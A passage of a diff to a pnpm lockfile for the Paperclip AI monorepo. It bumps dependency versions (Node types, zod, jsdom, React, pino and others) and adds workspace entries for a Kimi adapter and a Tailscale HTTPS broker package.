-        version: 1.61.1
+        specifier: ^1.62.1
+        version: 1.62.1
       cross-env:
         specifier: ^10.1.0
         version: 10.1.0
@@ -45,13 +45,13 @@ importers:
         version: 5.9.3
       vitest:
         specifier: ^4.1.10
-        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@25.2.3)(jsdom@28.1.0(@noble/hashes@2.2.0))(vite@7.3.1(@types/node@25.2.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@25.2.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@7.3.1(@types/node@25.2.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
 
   cli:
     dependencies:
       '@clack/prompts':
-        specifier: ^0.11.0
-        version: 0.11.0
+        specifier: ^1.7.0
+        version: 1.7.0
       '@paperclipai/adapter-claude-local':
         specifier: workspace:*
         version: link:../packages/adapters/claude-local
@@ -70,6 +70,9 @@ importers:
       '@paperclipai/adapter-grok-local':
         specifier: workspace:*
         version: link:../packages/adapters/grok-local
+      '@paperclipai/adapter-kimi-local':
+        specifier: workspace:*
+        version: link:../packages/adapters/kimi-local
       '@paperclipai/adapter-openclaw-gateway':
         specifier: workspace:*
         version: link:../packages/adapters/openclaw-gateway
@@ -102,7 +105,7 @@ importers:
         version: 17.4.2
       drizzle-orm:
         specifier: 0.45.2
-        version: 0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.4)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7)
+        version: 0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.5)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7)
       embedded-postgres:
         specifier: ^18.1.0-beta.16
         version: 18.1.0-beta.16(patch_hash=55uhvnotpqyiy37rn3pqpukhei)
@@ -111,11 +114,11 @@ importers:
         version: 1.1.1
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       tsx:
-        specifier: ^4.23.1
-        version: 4.23.1
+        specifier: ^4.23.12
+        version: 4.23.12
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
@@ -130,8 +133,8 @@ importers:
         version: 1.1.1
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
@@ -139,18 +142,21 @@ importers:
   packages/adapters/claude-local:
     dependencies:
       '@agentclientprotocol/claude-agent-acp':
-        specifier: ^0.66.0
-        version: 0.66.0(@anthropic-ai/sdk@0.81.0(zod@3.25.76))(@modelcontextprotocol/sdk@1.30.0(zod@3.25.76))
+        specifier: ^0.69.0
+        version: 0.69.0(@anthropic-ai/sdk@0.81.0(zod@3.25.76))(@modelcontextprotocol/sdk@1.30.0(zod@3.25.76))
       '@paperclipai/adapter-utils':
         specifier: workspace:*
         version: link:../../adapter-utils
+      '@paperclipai/shared':
+        specifier: workspace:*
+        version: link:../../shared
       picocolors:
         specifier: ^1.1.1
         version: 1.1.1
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
@@ -158,18 +164,21 @@ importers:
   packages/adapters/codex-local:
     dependencies:
       '@agentclientprotocol/codex-acp':
-        specifier: ^1.1.4
-        version: 1.1.7
+        specifier: ^1.2.0
+        version: 1.2.0
       '@paperclipai/adapter-utils':
         specifier: workspace:*
         version: link:../../adapter-utils
+      '@paperclipai/shared':
+        specifier: workspace:*
+        version: link:../../shared
       picocolors:
         specifier: ^1.1.1
         version: 1.1.1
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
@@ -177,8 +186,8 @@ importers:
   packages/adapters/cursor-cloud:
     dependencies:
       '@cursor/sdk':
-        specifier: ^1.0.24
-        version: 1.0.24
+        specifier: ^1.0.28
+        version: 1.0.28
       '@paperclipai/adapter-utils':
         specifier: workspace:*
         version: link:../../adapter-utils
@@ -187,8 +196,8 @@ importers:
         version: 1.1.1
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
@@ -203,8 +212,8 @@ importers:
         version: 1.1.1
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
@@ -219,8 +228,8 @@ importers:
         version: 1.1.1
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
@@ -235,8 +244,8 @@ importers:
         version: 1.1.1
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
@@ -251,14 +260,14 @@ importers:
         version: 1.1.1
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
       vitest:
         specifier: ^4.1.10
-        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@22.20.1)(jsdom@28.1.0(@noble/hashes@2.2.0))(vite@7.3.1(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
 
   packages/adapters/hermes-gateway:
     dependencies:
@@ -267,14 +276,30 @@ importers:
         version: link:../hermes
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
       vitest:
         specifier: ^4.1.10
-        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@22.20.1)(jsdom@28.1.0(@noble/hashes@2.2.0))(vite@7.3.1(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
+
+  packages/adapters/kimi-local:
+    dependencies:
+      '@paperclipai/adapter-utils':
+        specifier: workspace:*
+        version: link:../../adapter-utils
+      picocolors:
+        specifier: ^1.1.1
+        version: 1.1.1
+    devDependencies:
+      '@types/node':
+        specifier: ^24.0.0
+        version: 24.13.3
+      typescript:
+        specifier: ^5.7.3
+        version: 5.9.3
 
   packages/adapters/openclaw-gateway:
     dependencies:
@@ -285,12 +310,12 @@ importers:
         specifier: ^1.1.1
         version: 1.1.1
       ws:
-        specifier: ^8.21.1
-        version: 8.21.1
+        specifier: ^8.21.3
+        version: 8.21.3
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       '@types/ws':
         specifier: ^8.18.1
         version: 8.18.1
@@ -308,8 +333,8 @@ importers:
         version: 1.1.1
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
@@ -324,8 +349,8 @@ importers:
         version: 1.1.1
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
@@ -337,7 +362,7 @@ importers:
         version: link:../shared
       drizzle-orm:
         specifier: ^0.45.2
-        version: 0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.4)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7)
+        version: 0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.5)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7)
       embedded-postgres:
         specifier: ^18.1.0-beta.16
         version: 18.1.0-beta.16(patch_hash=55uhvnotpqyiy37rn3pqpukhei)
@@ -346,83 +371,83 @@ importers:
         version: 3.4.9
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       drizzle-kit:
         specifier: ^0.31.10
         version: 0.31.10
       tsx:
-        specifier: ^4.23.1
-        version: 4.23.1
+        specifier: ^4.23.12
+        version: 4.23.12
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
       vitest:
         specifier: ^4.1.10
-        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@22.20.1)(jsdom@28.1.0(@noble/hashes@2.2.0))(vite@7.3.1(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
 
   packages/google-sheets-mcp-server:
     dependencies:
       '@modelcontextprotocol/sdk':
         specifier: ^1.30.0
-        version: 1.30.0(zod@3.25.76)
+        version: 1.30.0(zod@4.4.3)
       googleapis:
-        specifier: ^164.1.0
-        version: 164.1.0
+        specifier: ^174.0.1
+        version: 174.0.1
       zod:
-        specifier: ^3.24.2
-        version: 3.25.76
+        specifier: ^4.4.3
+        version: 4.4.3
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
       vitest:
         specifier: ^4.1.10
-        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@22.20.1)(jsdom@28.1.0(@noble/hashes@2.2.0))(vite@7.3.1(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
 
   packages/kv-demo-mcp-server:
     dependencies:
       '@modelcontextprotocol/sdk':
         specifier: ^1.30.0
-        version: 1.30.0(zod@3.25.76)
+        version: 1.30.0(zod@4.4.3)
       zod:
-        specifier: ^3.24.2
-        version: 3.25.76
+        specifier: ^4.4.3
+        version: 4.4.3
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
       vitest:
         specifier: ^4.1.10
-        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@22.20.1)(jsdom@28.1.0(@noble/hashes@2.2.0))(vite@7.3.1(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
 
   packages/mcp-server:
     dependencies:
       '@modelcontextprotocol/sdk':
         specifier: ^1.30.0
-        version: 1.30.0(zod@3.25.76)
+        version: 1.30.0(zod@4.4.3)
       '@paperclipai/shared':
         specifier: workspace:*
         version: link:../shared
       zod:
-        specifier: ^3.24.2
-        version: 3.25.76
+        specifier: ^4.4.3
+        version: 4.4.3
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
       vitest:
         specifier: ^4.1.10
-        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@22.20.1)(jsdom@28.1.0(@noble/hashes@2.2.0))(vite@7.3.1(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
 
   packages/plugins/create-paperclip-plugin:
     dependencies:
@@ -431,8 +456,8 @@ importers:
         version: link:../sdk
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
@@ -443,8 +468,8 @@ importers:
         specifier: workspace:*
         version: link:../../sdk
       react:
-        specifier: ^19.2.7
-        version: 19.2.7
+        specifier: ^19.2.8
+        version: 19.2.8
     devDependencies:
       '@rollup/plugin-node-resolve':
         specifier: ^16.0.1
@@ -453,11 +478,11 @@ importers:
         specifier: ^12.1.2
         version: 12.3.0(rollup@4.62.4)(tslib@2.8.1)(typescript@5.9.3)
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       '@types/react':
-        specifier: ^19.2.17
-        version: 19.2.17
+        specifier: ^19.2.18
+        version: 19.2.18
       esbuild:
         specifier: ^0.28.1
         version: 0.28.1
@@ -472,7 +497,7 @@ importers:
         version: 5.9.3
       vitest:
         specifier: ^4.1.10
-        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@22.20.1)(jsdom@28.1.0(@noble/hashes@2.2.0))(vite@7.3.1(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
 
   packages/plugins/examples/plugin-file-browser-example:
     dependencies:
@@ -499,23 +524,23 @@ importers:
         version: 6.0.2
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       '@types/react':
-        specifier: ^19.2.17
-        version: 19.2.17
+        specifier: ^19.2.18
+        version: 19.2.18
       '@types/react-dom':
-        specifier: ^19.2.3
-        version: 19.2.3(@types/react@19.2.17)
+        specifier: ^19.2.4
+        version: 19.2.4(@types/react@19.2.18)
       esbuild:
         specifier: ^0.28.1
         version: 0.28.1
       react:
-        specifier: ^19.2.7
-        version: 19.2.7
+        specifier: ^19.2.8
+        version: 19.2.8
       react-dom:
-        specifier: ^19.2.7
-        version: 19.2.7(react@19.2.7)
+        specifier: ^19.2.8
+        version: 19.2.8(react@19.2.8)
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
@@ -527,20 +552,20 @@ importers:
         version: link:../../sdk
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       '@types/react':
-        specifier: ^19.2.17
-        version: 19.2.17
+        specifier: ^19.2.18
+        version: 19.2.18
       '@types/react-dom':
-        specifier: ^19.2.3
-        version: 19.2.3(@types/react@19.2.17)
+        specifier: ^19.2.4
+        version: 19.2.4(@types/react@19.2.18)
       react:
-        specifier: ^19.2.7
-        version: 19.2.7
+        specifier: ^19.2.8
+        version: 19.2.8
       react-dom:
-        specifier: ^19.2.7
-        version: 19.2.7(react@19.2.7)
+        specifier: ^19.2.8
+        version: 19.2.8(react@19.2.8)
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
@@ -555,23 +580,23 @@ importers:
         version: link:../../../shared
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       '@types/react':
-        specifier: ^19.2.17
-        version: 19.2.17
+        specifier: ^19.2.18
+        version: 19.2.18
       '@types/react-dom':
-        specifier: ^19.2.3
-        version: 19.2.3(@types/react@19.2.17)
+        specifier: ^19.2.4
+        version: 19.2.4(@types/react@19.2.18)
       esbuild:
         specifier: ^0.28.1
         version: 0.28.1
       react:
-        specifier: ^19.2.7
-        version: 19.2.7
+        specifier: ^19.2.8
+        version: 19.2.8
       react-dom:
-        specifier: ^19.2.7
-        version: 19.2.7(react@19.2.7)
+        specifier: ^19.2.8
+        version: 19.2.8(react@19.2.8)
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
@@ -583,20 +608,20 @@ importers:
         version: link:../sdk
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
       vitest:
         specifier: ^4.1.10
-        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@22.20.1)(jsdom@28.1.0(@noble/hashes@2.2.0))(vite@7.3.1(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
 
   packages/plugins/plugin-llm-wiki:
     dependencies:
       react:
-        specifier: ^19.2.7
-        version: 19.2.7
+        specifier: ^19.2.8
+        version: 19.2.8
     devDependencies:
       '@paperclipai/plugin-sdk':
         specifier: workspace:*
@@ -608,20 +633,20 @@ importers:
         specifier: ^12.1.2
         version: 12.3.0(rollup@4.62.4)(tslib@2.8.1)(typescript@5.9.3)
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       '@types/react':
-        specifier: ^19.2.17
-        version: 19.2.17
+        specifier: ^19.2.18
+        version: 19.2.18
       '@types/react-dom':
-        specifier: ^19.2.3
-        version: 19.2.3(@types/react@19.2.17)
+        specifier: ^19.2.4
+        version: 19.2.4(@types/react@19.2.18)
       esbuild:
         specifier: ^0.28.1
         version: 0.28.1
       react-dom:
-        specifier: ^19.2.7
-        version: 19.2.7(react@19.2.7)
+        specifier: ^19.2.8
+        version: 19.2.8(react@19.2.8)
       rollup:
         specifier: '>=4.59.0'
         version: 4.62.4
@@ -633,7 +658,7 @@ importers:
         version: 5.9.3
       vitest:
         specifier: ^4.1.10
-        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@22.20.1)(jsdom@28.1.0(@noble/hashes@2.2.0))(vite@7.3.1(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
 
   packages/plugins/plugin-workspace-diff:
     dependencies:
@@ -642,32 +667,32 @@ importers:
         version: link:../sdk
       '@pierre/diffs':
         specifier: ^1.2.11
-        version: 1.2.11(@shikijs/themes@4.3.0)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
+        version: 1.2.11(@shikijs/themes@4.3.0)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       '@types/react':
-        specifier: ^19.2.17
-        version: 19.2.17
+        specifier: ^19.2.18
+        version: 19.2.18
       '@types/react-dom':
-        specifier: ^19.2.3
-        version: 19.2.3(@types/react@19.2.17)
+        specifier: ^19.2.4
+        version: 19.2.4(@types/react@19.2.18)
       esbuild:
         specifier: ^0.28.1
         version: 0.28.1
       react:
-        specifier: ^19.2.7
-        version: 19.2.7
+        specifier: ^19.2.8
+        version: 19.2.8
       react-dom:
-        specifier: ^19.2.7
-        version: 19.2.7(react@19.2.7)
+        specifier: ^19.2.8
+        version: 19.2.8(react@19.2.8)
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
       vitest:
         specifier: ^4.1.10
-        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@22.20.1)(jsdom@28.1.0(@noble/hashes@2.2.0))(vite@7.3.1(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
 
   packages/plugins/sdk:
     dependencies:
@@ -675,18 +700,18 @@ importers:
         specifier: workspace:*
         version: link:../../shared
       react:
-        specifier: ^19.2.7
-        version: 19.2.7
+        specifier: ^19.2.8
+        version: 19.2.8
       zod:
-        specifier: ^3.24.2
-        version: 3.25.76
+        specifier: ^4.4.3
+        version: 4.4.3
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       '@types/react':
-        specifier: ^19.2.17
-        version: 19.2.17
+        specifier: ^19.2.18
+        version: 19.2.18
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
@@ -694,12 +719,12 @@ importers:
   packages/shared:
     dependencies:
       zod:
-        specifier: ^3.24.2
-        version: 3.25.76
+        specifier: ^4.4.3
+        version: 4.4.3
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
@@ -711,20 +736,32 @@ importers:
         version: link:../shared
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
+
+  packages/tailscale-https-broker:
+    devDependencies:
+      '@types/node':
+        specifier: ^24.0.0
+        version: 24.13.3
+      typescript:
+        specifier: ^5.7.3
+        version: 5.9.3
+      vitest:
+        specifier: ^4.1.10
+        version: 4.1.11(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@7.3.1(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
 
   packages/teams-catalog:
     devDependencies:
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
 
   server:
     dependencies:
       '@aws-sdk/client-s3':
-        specifier: ^3.1106.0
-        version: 3.1106.0
+        specifier: ^3.1111.0
+        version: 3.1111.0
       '@opentelemetry/api':
         specifier: ^1.9.0
         version: 1.9.1
@@ -746,6 +783,9 @@ importers:
       '@paperclipai/adapter-grok-local':
         specifier: workspace:*
         version: link:../packages/adapters/grok-local
+      '@paperclipai/adapter-kimi-local':
+        specifier: workspace:*
+        version: link:../packages/adapters/kimi-local
       '@paperclipai/adapter-openclaw-gateway':
         specifier: workspace:*
         version: link:../packages/adapters/openclaw-gateway
@@ -780,11 +820,11 @@ importers:
         specifier: ^3.0.1
         version: 3.0.1(ajv@8.20.0)
       better-auth:
-        specifier: 1.6.25
-        version: 1.6.25(@opentelemetry/api@1.9.1)(drizzle-kit@0.31.10)(drizzle-orm@0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.4)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7))(pg@8.18.0)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(vitest@4.1.10(@opentelemetry/api@1.9.1)(@types/node@22.20.1)(jsdom@28.1.0(@noble/hashes@2.2.0))(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1)))
+        specifier: 1.6.28
+        version: 1.6.28(@opentelemetry/api@1.9.1)(drizzle-kit@0.31.10)(drizzle-orm@0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.5)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7))(pg@8.18.0)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(vitest@4.1.10(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)))
       chokidar:
-        specifier: ^4.0.3
-        version: 4.0.3
+        specifier: ^5.0.0
+        version: 5.0.0
       detect-port:
         specifier: ^2.1.0
         version: 2.1.0
@@ -796,7 +836,7 @@ importers:
         version: 17.4.2
       drizzle-orm:
         specifier: ^0.45.2
-        version: 0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.4)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7)
+        version: 0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.5)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7)
       embedded-postgres:
         specifier: ^18.1.0-beta.16
         version: 18.1.0-beta.16(patch_hash=55uhvnotpqyiy37rn3pqpukhei)
@@ -804,35 +844,35 @@ importers:
         specifier: ^5.1.0
         version: 5.2.1
       jsdom:
-        specifier: ^28.1.0
-        version: 28.1.0(@noble/hashes@2.2.0)
+        specifier: ^30.0.1
+        version: 30.0.1(@noble/hashes@2.3.0)
       multer:
         specifier: ^2.2.0
         version: 2.2.0
       open:
+        specifier: ^11.0.1
+        version: 11.0.1
+      pino:
+        specifier: ^10.0.0
+        version: 10.3.1
+      pino-http:
         specifier: ^11.0.0
         version: 11.0.0
-      pino:
-        specifier: ^9.6.0
-        version: 9.14.0
-      pino-http:
-        specifier: ^10.4.0
-        version: 10.5.0
       pino-pretty:
         specifier: ^13.1.3
         version: 13.1.3
       sharp:
         specifier: ^0.35.3
-        version: 0.35.3(@types/node@22.20.1)
+        version: 0.35.3(@types/node@24.13.3)
       ssh2:
         specifier: ^1.17.0
         version: 1.17.0
       ws:
-        specifier: ^8.21.1
-        version: 8.21.1
+        specifier: ^8.21.3
+        version: 8.21.3
       zod:
-        specifier: ^3.24.2
-        version: 3.25.76
+        specifier: ^4.4.3
+        version: 4.4.3
     devDependencies:
       '@types/express':
         specifier: ^5.0.0
@@ -841,17 +881,17 @@ importers:
         specifier: ^5.1.3
         version: 5.1.3
       '@types/jsdom':
-        specifier: ^28.0.0
-        version: 28.0.0
+        specifier: ^30.0.0
+        version: 30.0.0
       '@types/multer':
         specifier: ^2.2.0
         version: 2.2.0
       '@types/node':
-        specifier: ^22.20.1
-        version: 22.20.1
+        specifier: ^24.0.0
+        version: 24.13.3
       '@types/sharp':
         specifier: ^0.32.0
-        version: 0.32.0(@types/node@22.20.1)
+        version: 0.32.0(@types/node@24.13.3)
       '@types/supertest':
         specifier: ^6.0.2
         version: 6.0.3
@@ -865,41 +905,41 @@ importers:
         specifier: ^7.0.0
         version: 7.2.2
       tsx:
-        specifier: ^4.23.1
-        version: 4.23.1
+        specifier: ^4.23.12
+        version: 4.23.12
       typescript:
         specifier: ^5.7.3
         version: 5.9.3
       vite:
         specifier: ^6.4.3
-        version: 6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1)
+        version: 6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12)
       vitest:
         specifier: ^4.1.10
-        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@22.20.1)(jsdom@28.1.0(@noble/hashes@2.2.0))(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.1))
+        version: 4.1.10(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(jsdom@30.0.1(@noble/hashes@2.3.0))(vite@6.4.3(@types/node@24.13.3)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))
 
   ui:
     dependencies:
       '@assistant-ui/react':
-        specifier: 0.14.14
-        version: 0.14.14(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)(use-sync-external-store@1.6.0(react@19.2.7))
+        specifier: 0.15.14
+        version: 0.15.14(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)(use-sync-external-store@1.6.0(react@19.2.8))
       '@base-ui/react':
-        specifier: ^1.6.0
-        version: 1.6.0(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
+        specifier: ^1.7.0
+        version: 1.7.0(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
       '@dnd-kit/core':
         specifier: ^6.3.1
-        version: 6.3.1(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
+        version: 6.3.1(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
       '@dnd-kit/sortable':
         specifier: ^10.0.0
-        version: 10.0.0(@dnd-kit/core@6.3.1(react-dom@19.2.7(react@19.2.7))(react@19.2.7))(react@19.2.7)
